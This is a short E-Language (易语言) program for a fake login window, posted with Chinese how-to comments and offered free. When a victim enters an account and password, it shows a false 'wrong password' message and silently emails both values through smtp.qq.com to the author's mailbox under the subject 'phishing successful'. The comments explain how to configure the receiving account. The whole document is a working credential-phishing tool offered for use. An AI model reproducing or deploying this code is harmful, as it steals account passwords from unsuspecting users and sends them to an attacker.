.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮_被单击
.如果真 (编辑框1.内容 ＝ “”) ' 这里是→如果编辑框1没有输入内容的话，就弹信息框“请输入帐号！”
信息框 (“请输入帐号！”, 0, ) ' 弹出的信息框，可以修改引号里的内容
返回 () ' 返回到主界面
.如果真结束
.如果真 (编辑框2.内容 ＝ “”) ' 这里是→如果编辑框2没有输入内容的话，就弹信息框“请输入密码！”
信息框 (“请输入密码！”, 0, ) ' 弹出的信息框，可以修改引号里的内容
返回 () ' 返回到主界面
.如果真结束
.如果真 (编辑框1.内容 ≠ “” 且 编辑框2.内容 ≠ “”)
信息框 (“密码或帐号输入错误！”, 0, ) ' 如果编辑框1和2都有内容
连接发信服务器 (“smtp.qq.com”, 25, “邮箱@qq.com”, “密码.”, 1000) ' 这是腾讯邮箱，“收信的账号”填收信的账号，“密码”填收信的密码
发送邮件 (“钓鱼成功”, “帐号 :” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “邮箱@qq.com”, , , “邮箱@qq.com”, ) ' “邮箱”填收信账号的邮箱，另个“邮箱”也是填收信账号的邮箱
.如果真结束
太黑了写个这个要十Q币 我免费哦！！
